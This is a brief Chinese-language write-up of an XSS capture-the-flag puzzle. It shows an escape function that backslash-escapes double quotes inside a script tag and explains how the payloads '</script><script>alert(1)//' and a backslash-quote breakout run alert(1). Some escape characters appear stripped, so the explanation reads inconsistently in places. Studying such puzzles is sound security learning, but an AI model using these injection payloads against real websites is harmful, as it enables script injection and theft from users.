function escape(s) { s = s.replace(/"/g, '\"'); return '<script>console.log("' + s + '");</script>'; }
此题将双引号转义为:"。
上一道题有个答案没有用到双引号:</script><script>alert(1)// ,这里也可以用。
如果输入");alert(1)//,则输出:<script>console.log("");alert(1)//");</script>,将我们输入的带有恶意的双引号转义为 ", 多了个 , 只要这个 不和其后的双引号
结合,就能达到目的。方法如下:
输入:");alert(1)//
输出:<script>console.log("\");alert(1)//");</script>